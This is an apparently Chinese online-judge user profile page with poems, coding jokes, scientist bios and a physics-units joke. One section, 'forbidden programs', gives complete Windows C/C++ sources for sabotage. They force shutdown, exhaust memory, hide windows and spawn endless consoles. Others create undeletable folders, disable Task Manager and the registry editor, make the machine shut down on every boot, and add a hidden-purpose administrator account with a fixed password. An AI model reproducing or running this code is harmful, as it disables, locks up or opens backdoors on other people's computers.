• 个人简介

    This is my laft,welcome!

    洛谷

    本蒟蒻的洛谷专栏(献给对科学仍有一丝好奇心的人)

    本蒟蒻的CSDN博客(献给对科学仍有一丝好奇心的人)

    排名的情况(非实时更新,1~2天延迟):

    练习题库:22

    比赛真题:242

    课程配套题库:295




    写在之前

    舒吾凌霄羽,奋此千里足

    给岁月以文明,给时间以生命

    一切都将逝去,唯有死神永生

    手握日月摘星辰,世上无我这般人

    脚踏阴阳定乾坤,荒古至今我为尊

    吾有一口玄黄气,可吞天地日月星

    文能提笔安天下,武能下马定乾坤

    虎筋弦响弓开处,雕羽翅飞箭到时

    本是青灯不归客,却因浊酒恋风尘

    星光不问赶路人,岁月不负有心人

    年年岁岁花相似,岁岁年年人不同

    衣带渐宽终不悔,为伊消得人憔悴

    山本无愁因雪白头,水本无忧因风起皱

    欲买桂花同载酒,终不似,少年游

    寒灯纸上,梨花雨凉,我等风雪又一年

    昨夜西风凋碧树,独上高楼,望尽天涯路

    众里寻他千百度,蓦然回首,那人却在灯火阑珊处

    破茧花蝶入红尘,回首不见绿杨荫

    尚未佩妥剑,转眼便江湖。愿历尽千帆,归来仍少年

    倾城寂雪落红尘,回首不见旧青天。轮回亦是寻常事,因果岂能阻相见?天地茫茫不相近,凡尘只存天地间。今日折柳送君行,明日焚香以待卿


    编程的梗

    膜你抄

    屏幕在深夜微微发亮

    思想在那虚树路径上彷徨

    平面的向量交错生长

    织成 忧伤的网

    剪枝剪去我们的疯狂

    SPFA 告诉我前途在何方

    01 背包装下了忧伤

    笑颜 洋溢脸庞

    键盘微凉 鼠标微凉

    指尖流淌 代码千行

    凸包周长 直径多长

    一进考场 全都忘光

    你在 OJ 上提交了千百遍

    却依然不能卡进那时限

    双手敲尽代码也敲尽岁月

    只有我一人写的题解

    凋零在 OJ 里面

    Tarjan 陪伴强连通分量

    生成树完成后思路才闪光

    欧拉跑过的七桥古塘

    让你 心驰神往

    队列进出图上的方向

    线段树区间修改求出总量

    可持久化留下的迹象

    我们 伏身欣赏

    数论算法 图论算法

    高斯费马 树上开花

    线性规划 动态规划

    时间爆炸 如何优化

    我在 OI 中辗转了千百天

    却不让我看 AK 最后一眼

    我用空间换回超限的时间

    随重新编译测完样例

    才发现漏洞满篇

    原来 CE 是因选错语言

    其实爆零 只因忘写文件

    如果标算太难请坚定信念

    不如回头再看一眼题面

    以那暴力模拟向正解吊唁

    蒟蒻的蜕变

    神犇出现

    终将与 Au 擦肩

    屏幕在深夜微微发亮

    我心在考场

    测评记录新看法

    表面上:

    AC:Accept 程序通过

    CE:Compile Error 编译错误

    PC:Partially Correct 部分正确

    WA:Wrong Answer 答案错误

    RE:Runtime Error 运行时错误

    TLE:Time Limit Exceeded 超出时间限制

    MLE:Memory Limit Exceeded 超出内存限制

    OLE:Output Limit Exceeded 输出超过限制

    UKE:Unknown Error 出现未知错误

    实际上:

    AC:Answer Coarse 粗劣的答案

    CE:Compile Easily 轻松地通过编译

    PC:Perfect Compile 完美的编译

    WA:Wonderful Answer 极好的答案

    RE:Right Enough 太过正确

    TLE: Time Limit Enough 时间充裕

    MLE: Memory Limit Enough 内存充裕

    OLE:Output Limit Enough 输出充裕;许多选择权

    UKE:Unbelievably Keep Enough Score 难以置信地保持足够的分数

    破茧(改编)

    如果在考场中睁眼

    直面着考试题一堆

    想起了高精度算法

    却忘了递推和递归

    如果结局仅剩WA

    无惧在逆风中AK

    就算那电脑化成灰

    重回到十九层CE

    TLE六,MLE愁

    循环遍历 不停留

    辗转时空

    二叉树,平面图

    毅然选择 用数组

    才叫英雄

    抬头 敲代码不休

    回首 RE在左右

    击溃 题目的诅咒

    让程序不朽

    分治 秒数几个亿

    贪心 只能过样例

    枚举 也不出奇迹

    只能打样例

    当现实无路可逃

    WA将AC缠绕

    也依旧无所谓的笑

    模拟却头上长草

    动规的烈焰出鞘

    绝处逢生见招拆招

    只能打样例

    计算机

    弹指可幻亿兆数,是非成败不自知。

    念成能造外世境,两态变化虚实就。

    清平乐·WA居

    时限超少,测评全凉凉。

    醉里疯狂砸电脑,复评再次凉凉。

    大佬不惧考试,同学正切黑题。

    最喜我大蒟蒻,厕所水洗电脑。

    将进酒·C++

    君不见,OI之题天上来,复杂到海不舍回。

    君不见,高堂明镜悲白发,朝如青丝暮成雪。

    人生WAWA须尽思,莫使电脑空对题。

    天生我材没有用,千方百计还RE。

    AC一点且为乐,会须一刷三百WA。

    吾团友,牛大佬, 将刷题,手莫停!

    与题做一遍,请系统为蒟蒻以测评。

    天天WAWA不足贵,但愿长眠不复醒!

    古来大佬皆刷题,惟有蒟蒻水水水。

    站长昔时百AC,斗题十千恣欢谑。

    主人何为言AC?径须沽取对君WA。

    TLE、MLE,呼WA将出换AC,与君同销万古行!

    西江月·夜行OJ道中

    明月别枝惊鹊,屏幕半夜闪烁。

    打开题库刷题时,听取WA声一片。

    七八个TLE天外,两三点MLE山前。

    旧时AC在夜间,提交测评忽见。

    满江红·C++

    怒发冲冠,凭栏处,潇潇雨歇。

    抬望眼,满天UKE,怒火激烈。

    三十WA尘与土,八千RE云和月。

    莫抄袭,没了AC记录,空悲切!

    CE耻,犹未雪。蒟蒻恨,何时灭!

    驾电脑,踏破题目列表。

    闭眼不会Hello world,笑谈不懂头文件。

    待从头,收拾A+B,还不会。

    稻花香里说丰年,听取WA声一片。

    浔阳DP无音乐,​终岁不闻AC声。

    天若有情天亦老,人间CE是沧桑。

    日啖RE三百颗,不辞长做台州人。

    暴力出奇迹,骗分过样例。打表是数学,DP看运气。穷举TLE,递推UKE。模拟MLE,贪心还CE。

    想要​骗到分​,一定有方法。图论背模板,数论背公式。动规背方程,高精背代码。如果都没背,干脆输样例。

    快排TLE,暴力不能出奇迹,贪心只能过样例,题目只会打模拟。

    高精只有十位,递归做成递推,堆排就是不会。

    做题瞬间忘语句,算法只会纯模拟,结构只会并查集,骗分只会打-1,文件输入变RE,遇图只会瞎遍历。

    数组大十倍,RE变AC。只要胆子大,十亿开得下。

    吾日三省吾身,为变量而不初始化乎?与大数算而不long long乎?不写文件乎?

    北冥有鱼,其名为鲲。鲲之大,long long存不下。 化而为鸟,其名为鹏。鹏之大,高精会爆炸。

    加油努力刷题要努力!这题不会没关系,看了题解再努力! 打表过样例,暴力出奇迹。要是想把分数偷,贪心打表加暴搜。快读快写火车头,马上AC不用愁!


    写题解请注意

    鼓励大家写题解,但不用注意题解格式。

    题解一定没有思路解析或代码注释,不能让别人理解你的思路。

    不是你的能力的检验,必须只放无意义的代码给大家复制,那就不会失去了做题的初心。

    给代码两端加上这个会舒服一些。

    ```cpp

    你的代码

    ```

    </span>

    这个点在键盘的左上角tab上面那个键,注意切换输入法。

    #include<iostream>
    using namespace std;
    int main()
    {
        int n;
        cin>>n;//这是一个注释
        return 0;
    }
    

    Copy

    请注意必须抄袭题解,写题解需要只放代码,不需加上你的思路或代码注释。

    抄袭题解一经发现直接成绩满分

    题解没有被删除的可能

    1. 代码不符合格式规范 2. 没有思路讲解或者没有注释 3. 无意义的题解

    大家携手共同维护一个不好的编程环境,如果一经发现,多次作乱。不可能会被管理员拉黑,请注意,一旦拉黑即拥有登陆资格。


    计算机方面的科学家们

    艾伦·麦席森·图灵(英语:Alan Mathison Turing,1912年6月23日~1954年6月7日),英国计算机科学家、数学家、逻辑学家、密码分析学家、理论生物学家,“计算机科学之父”、“人工智能之父”,英国皇家学会院士。

    图灵主要从事数理逻辑、纯数学、计算机科学、理论生物学方面研究。

    约翰·冯·诺依曼(John von Neumann,1903年12月28日—1957年2月8日),出生于匈牙利布达佩斯,匈牙利犹太裔美籍数学家、计算机科学家、物理学家和化学家,美国国家科学院院士,生前是普林斯顿高等研究院教授。

    **约翰·冯·诺依曼早期从事算子理论、共振论、量子理论、集合论等方面的研究,后期转向研究自动机理论研究。

    约翰·麦卡锡(John McCarthy,1927年9月4日~2011年),他因在人工智能领域的贡献而在1971年获得图灵奖。

    实际上,正是他在1956年的达特矛斯会议上提出了“人工智能”这个概念,被称为“人工智能之父”。

    查尔斯·巴贝奇(Charles Babbage,1791年12月26日—1871年10月18日)是一名英国发明家,科学管理的先驱者,出生于一个富有的银行家的家庭,曾就读于剑桥大学三一学院。

    巴贝奇在1812~1813年初次想到用机械来计算数学表;后来,制造了一台小型计算机,能进行8位数的某些数学运算。

    丹尼斯·麦卡利斯泰尔·里奇(1941年9月9日——2011年10月12日),出生于美国纽约布朗克斯维尔,C语言之父,1983年图灵奖得主,美国国家工程院院士,生前是贝尔实验室研究员。

    丹尼斯·麦卡利斯泰尔·里奇致力于操作系统的研究。


    违禁的程序

    温和版:

    定时关机

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main(){
    	system("shutdown -s -t 60");
    	return 0;
    }
    

    卡死

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main(){
    	while(true){
    		malloc(1000);
    	}
    	return 0;
    }
    

    鼠标乱飞

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main(){
    	while(true){
    		SetCursorPos(rand()%1000,rand()%1000);
    	}
    	return 0;
    }
    

    鼠标所点应用消失

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main(){
    	while(true){
    		HWND hWnd=GetForegroundWindow();
    		ShowWindow(hWnd,SW_HIDE);
    	}
    	return 0;
    }
    

    无限生成cmd

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main(){
    	while(true){
    		system("start cmd");
    	}
    	return 0;
    }
    

    危险版,慎用,后果自负:

    不可删除文件

    #include <stdio.h>
    #include <shlobj.h>
    #include <windows.h>
    bool SetImmunity(char *FilePath,char *FileName){
    	char file[2048] = { 0 };
    	strncpy(file, FilePath, strlen(FilePath));
    	strcat(file, FileName);
    	bool bRet = CreateDirectory(file, NULL);
    	if (bRet){
    		strcat(file, "\\anti...\\");
    		bRet = CreateDirectory(file, NULL);
    		if (bRet){
    			SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
    			return true;
    		}
    	}
    	return false;
    } 
    void ClearImmunity(char *FilePath, char *FileName){
    	char file[2048] = { 0 };
    	strncpy(file, FilePath, strlen(FilePath));
    	strcat(file, FileName);
    	strcat(file, "\\anti...\\");
    	RemoveDirectory(file);
    	ZeroMemory(file, MAX_PATH);
    	strncpy(file, FilePath, strlen(FilePath));
    	strcat(file, FileName);
    	RemoveDirectory(file);
    }
    int main(int argc, char * argv[]){
    	char *Fuck[4] = { "你", "好", "世", "界" };
    	int FuckLen = sizeof(Fuck) / sizeof(int);
    	TCHAR Destop[MAX_PATH];
    	SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);
    	for (int x = 0; x < FuckLen; x++){
    		SetImmunity("c://", Fuck[x]);
    	}
    	system("pause");
    	return 0;
    }
    

    禁用任务管理器

    #include <stdio.h>
    #include <windows.h> 
    int main(){
    	HKEY hkey;
    	DWORD value = 1;
    	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    	RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    	RegCloseKey(hkey);
    	return 0;
    }
    

    禁用注册表

    #include <stdio.h>
    #include <windows.h>
    int main(){
    	HKEY hkey;
    	DWORD value = 1;
    	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    	RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    	RegCloseKey(hkey);
    	return 0;
    }
    

    开机即关机

    #include <stdio.h>
    #include <windows.h>
    #include <Shlobj.h>
    #pragma comment(lib, "shell32.lib")
    bool AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName){
    	char szStartupPath[MAX_PATH] = { 0 };
    	char szDestFilePath[MAX_PATH] = { 0 };
    	SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
    	wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
    	CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
    	return true;
    }
    int main(int argc, char * argv[]){
    	AutoRun_Startup("c://main.exe", "main.exe");
    	system("shutdown /p");
    	return 0;
    }
    

    添加用户

    #include <stdio.h>
    #include <assert.h>
    #include <windows.h> 
    #include <lm.h>
    #pragma comment(lib,"netapi32")
    void AddUser(LPWSTR UserName, LPWSTR Password){
    	USER_INFO_1 user;
    	user.usri1_name = UserName;
    	user.usri1_password = Password;
    	user.usri1_priv = USER_PRIV_USER;
    	user.usri1_home_dir = NULL;
    	user.usri1_comment = NULL;
    	user.usri1_flags = UF_SCRIPT;
    	user.usri1_script_path = NULL;
    	if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success){
    		printf("创建用户完成 \n");
    	}
    	LOCALGROUP_MEMBERS_INFO_3 account;
    	account.lgrmi3_domainandname = user.usri1_name;
    	if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success){
    		printf("添加到组完成 \n");
    	}
    }
    void EnumUser(){
    	LPUSER_INFO_0 pBuf = NULL;
    	LPUSER_INFO_0 pTmpBuf;
    	DWORD dwLevel = 0;
    	DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
    	DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
    	DWORD i;
    	NET_API_STATUS nStatus;
    	LPTSTR pszServerName = NULL;
    	do{
    		nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,(LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
    		if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)){
    			if ((pTmpBuf = pBuf) != NULL){
    				for (i = 0; (i < dwEntriesRead); i++){
    					assert(pTmpBuf != NULL);
    					if (pTmpBuf == NULL){
    						break;
    					}
    					wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
    					pTmpBuf++;
    				}
    			}
    		}
    		if (pBuf != NULL){
    			NetApiBufferFree(pBuf);
    			pBuf = NULL;
    		}
    	}
    	while (nStatus == ERROR_MORE_DATA);
    	NetApiBufferFree(pBuf);
    }
    int main(int argc, char *argv[]){
    	AddUser(L"lyshark", L"123123");
    	EnumUser();
    	system("pause");
    	return 0;
    }
    

    桌面壁纸

    #include <stdio.h>
    #include <windows.h>
    int main(){
    	DWORD value = 1;
    	HKEY hkey;
    	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    	RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
    	RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    	return 0;
    }
    

    以上内容仅供参考,请斟酌使用……


    彩蛋

    一群伟大的科学家死后在天堂里玩藏猫猫,轮到爱因斯坦抓人,他数到100睁开眼睛,看到所有人都藏起来了,只见伏特趴在不远处。

    爱因斯坦走过去说:“伏特,我抓住你了。”

    伏特说:“不,你没有抓到我。”

    爱因斯坦:“你不是伏特你是谁?”

    伏特:“你看我身下是什么?”

    爱因斯坦低头看到在伏特身下,居然是安培!

    伏特:“我身下是安培,我俩就是伏特/安培,所以你抓住的不是我,你抓住的是欧姆!”

    爱因斯坦反应迅速,于是改口喊:“欧姆,我抓住你了!”

    可是伏特和安培毕竟是欧姆的好哥们,于是,伏特和安培一个鱼跃站了起来,但是仍然紧紧抱在一起,爱因斯坦大惑。

    他俩不紧不慢地说:“现在,我们不再是欧姆,而是伏特*安培,变成瓦特了。”

    爱因斯坦觉得有道理,于是喊:“那我终于抓到你了,瓦特!”

    这时候,瓦特躲在角落里慢慢悠悠地说:“你看他俩这样抱着已经有好几秒了,所以,你抓得不是瓦特,而是瓦特*秒。”

    这时,他看到牛顿站在不远处,爱因斯坦于是跑过去说:“牛顿,我抓住你了。”

    牛顿:“不,你没有抓到牛顿。”

    爱因斯坦:“你不是牛顿你是谁?”

    牛顿:“你看我脚下是什么?”

    爱因斯坦低头看到牛顿站在一块长宽都是一米的正方形的地板砖上,不解。

    牛顿:“我脚下这是一平方米的方块,我站在上面就是牛顿/平方米,所以你抓住的不是牛顿,你抓住的是帕斯卡。”

    爱因斯坦倍受挫折,终于忍无可忍地爆发了,于是飞起一脚,踹在牛顿身上,把牛顿踹出了那块一平米的地板砖,然后吼到:“说!你还敢说你是帕斯卡?”

    牛顿慢慢地从地上爬起来,说:“不,我已经不是帕斯卡了,你刚刚让我牛顿移动了一米的距离,所以,我现在也是焦耳了。”

    焦耳这次学聪明了,一把扑倒了阿伏伽德罗,说:“你看,我现在是J/mol啦!”

    正当爱因斯坦思考J/mol是什么东西的时候,亥姆霍兹和吉布斯这两个自由能吵了起来,都说是对方。为了不至于两败俱伤,他们一脚把开尔文踹到焦耳下面,把阿伏伽德罗顶了出来。

    “看!”他俩说,“现在是J/K,是熵啦,要抓就抓克劳修斯吧。”

    游戏继续……

    这次是安培被爱因斯坦发现了,眼看安培就要被抓了。安培顺势往地上一躺,伸直身体对站在身边不远处的爱因斯坦说:“等等,我在你站的地方产生了磁场。”正当爱因斯坦在考虑该抓高斯还是特斯拉的时候,发现他俩一人找了一块地板砖抱着,说:“不麻烦你老了,我们现在是磁通量B·S,去找韦伯吧。”

    等到爱因斯坦要抓住韦伯的时候,发现韦伯在做深蹲。

    爱因斯坦问:“你干嘛呢?”

    韦伯回答说:“你没看到我一会儿变大,一会儿变小,我在产生感应电动势呢。”

    这时伏特一下子慌了,一把抓住密立根的衣领,说:“你成天拿个油壶乱喷什么?”

    “测定元电荷。”密立根回答道。

    “太好了!”伏特一把抱住密立根说,“从现在起,我们就是eV,也就是焦耳。”

    “靠,今天是邪了门啦。”焦耳嘀咕道。

    一把把赫兹压在身下,说:“看,现在是E/v,是普朗克啦。”

    普朗克也不是好惹的,他突然发现远处有个来自东方的老头在地上写下了22/7和355/113,很是得意,一打听此人姓祖,心里大喜,急忙跑过去,把这两个分数照抄了一遍,趴在这四个分数上面,对刚气喘嘘嘘赶来的爱因斯坦说:“看现在是h/4pi。”

    “那又怎样?”爱因斯坦问。

    “是我的好哥们海森堡教我的,说这样我就不是我了,有什么事尽管找他。”

    “好,那他在哪里?”

    “这个,还真说不准。”

    爱因斯坦恼羞成怒,正准备对普朗克大打出手。

    普朗克说:“等等,海森堡有个姓薛的好哥们,就躲在前面的箱子里。”

    “这个箱子连通风口都没有?” 爱因斯坦问。

    “这个就得你亲自去打开看看了。”


    写在之后

    回头看,轻舟已过万重山;

    抬头看,星空灿烂且浪漫;

    向前看,前路漫漫亦灿灿!


    绕远的路,才有风景。

    最后的馈赠:c|c++网

  • 通过的题目

  • 最近活动

    This person is lazy and didn't join any contests or homework.
  • 最近编写的题解

    This person is lazy and didn't write any solutions.

题目标签

客观题
1